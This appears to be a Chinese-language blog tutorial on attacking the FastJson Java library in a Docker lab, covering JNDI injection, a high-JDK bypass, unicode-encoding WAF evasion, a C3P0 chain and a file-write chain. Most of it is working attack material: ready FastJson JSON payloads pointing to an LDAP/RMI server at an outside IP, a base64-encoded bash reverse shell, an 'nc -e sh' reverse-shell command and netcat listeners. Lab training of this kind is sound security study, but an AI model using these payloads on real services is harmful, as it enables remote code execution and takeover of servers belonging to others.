服务攻防-Java组件安全&FastJson&高版本JNDI&不出网C3P0&编码绕WAF&写入文件CI链

知识点:

服务攻防-Java组件-FastJson&JDK&高版本&不出网&WAF

演示环境:
https://github.com/lemono0/FastJsonParty

FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入及高版本绕过、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖FastJson深入利用.

演示案例-服务攻防-Java组件-FastJson&JDK&高版本&不出网&WAF

一、FastJson-JDK高版本绕过(1245-jdk8u342)



1、插件判断出FastJson及版本特征

工具插件:https://github.com/Niiiiko/FastjsonScan4Burp



知道fastjson版本后,就可以尝试用对应版本的POC去攻击。

bash 复制代码
1.2.47版本的POC
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://101.32.220.14:1389/AoKhk",
        "autoCommit": true
    }
}





2、利用JNDI注入未成功转高版本绕过利用

项目地址:https://github.com/B4aron1/JNDIBypass

bash 复制代码
java -jar JNDIBypass.jar -a 0.0.0.0 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzIuMjIwLjE0Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

3、监听反弹

bash 复制代码
nc -lvvp 9999

二、FastJson-编码特性WAF绕过(1247-jndi-waf)

bash 复制代码
修改docker-compose.yml(user: root)



漏洞点也一样,也是从登录模块发现json数据包。

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp


Fastjson本身是默认识别并解码hexunicode编码的,可以利用这个特性绕过。

2、利用JNDI注入未成功转编码绕过利用

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 101.32.220.14 9999 -e sh" -A 101.32.220.14
bash 复制代码
原始POC

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://101.32.220.14:1389/cEsHj",
        "autoCommit": "true"
    }
}
bash 复制代码
绕过POC

{
    "a":{
        "\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073",
        "\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"
    },
    "b":{
        "\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C",
        "\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065":"\u0072\u006D\u0069\u003A\u002F\u002F\u0031\u0030\u0031\u002E\u0033\u0032\u002E\u0032\u0032\u0030\u002E\u0031\u0034\u003A\u0031\u0030\u0039\u0039\u002F\u007A\u0039\u0069\u0035\u0074\u0074",
        "\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":"\u0074\u0072\u0075\u0065"
    }
}


3、监听反弹

bash 复制代码
nc -lvvp 9999

三、FastJson-WAF加不出网C3P0利用(1247-waf-c3p0)

bash 复制代码
修改docker-compose.yml(删除internal: true)

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp



2、不出网C3P0链构造利用

见官方WP部分

3、WAF绕过

bash 复制代码
添加`_`或`+`处理关键字绕过
userOverridesAsString->us_erOverridesAsString

参考文章:https://y4tacker.github.io/2022/03/30/year/2022/3/浅谈Fastjson绕waf/


四、FastJson-高版本加写入链利用(1268-writefile-jsp)

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp


2、高版本采用写入链

先探针到中间件及目录,利用链加写入文件内容,参考官方WP过程。

利用POChttps://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)




相关推荐
wanhengidc5 小时前
服务器租用有何优点
运维·服务器·安全·web安全
方也_arkling6 小时前
【Java-Day08】static / final / 枚举
java·开发语言
橙淮6 小时前
Spring Bean作用域与生命周期全解析
java·spring
csdn_aspnet6 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei116 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
llz_1126 小时前
web-第一次课后作业
java·开发语言·idea
秋97 小时前
Java项目运行5天左右自动宕机:系统性定位与解决方案
java·开发语言·python
小江的记录本7 小时前
【JVM虚拟机】垃圾回收GC:垃圾收集器:CMS:核心原理、回收流程、优缺点、废弃原因(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·spring·面试·maven
DIY源码阁7 小时前
JavaSwing学生成绩管理系统 - MySQL版
java·数据库·mysql·eclipse
basketball6168 小时前
C++ NULL 和 nullptr 区别 以及 nullptr 的核心实现
java·开发语言·c++